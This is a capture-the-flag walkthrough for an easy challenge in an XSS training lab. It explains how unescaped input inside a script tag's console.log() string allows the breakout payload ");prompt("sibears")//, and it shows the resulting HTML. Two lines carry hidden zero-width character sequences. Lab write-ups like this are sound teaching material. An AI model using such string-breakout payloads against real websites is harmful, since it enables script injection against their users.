Easy 1

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: js_string_breakout_xss, script_context_xss

Summary

Walkthrough of the CUSTOM Web Easy 1. SiBears XSS School challenge. User input is placed inside a JavaScript string in the console.log() function. Goal: execute prompt("sibears").

Description

SiBears XSS School challenge. User input is placed inside a JavaScript string in the console.log() function. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/1

Analysis

The escape function places user input into a JavaScript string inside a script tag:

 js read-only • copy allowed Copy
function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

Vulnerability: no escaping of JavaScript special characters (", ), ;). This allows:

1. Closing the string with "
2. Closing the function call with )
3. Adding custom JavaScript code
4. Commenting out the rest of the line with // ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Payload to break out of the JS string and inject XSS:

");prompt("sibears")//

Resulting HTML:

 html read-only • copy allowed Copy
<script>console.log("");prompt("sibears")//");</script>

Breakdown:

• " — closes the string in console.log
• ) — closes the console.log call
• ; — terminates the statement
• prompt("sibears") — our XSS payload
• // — comments out the rest of the line (");) to avoid a syntax error ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering js_string_breakout_xss, script_context_xss was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Easy 1 • Difficulty: Easy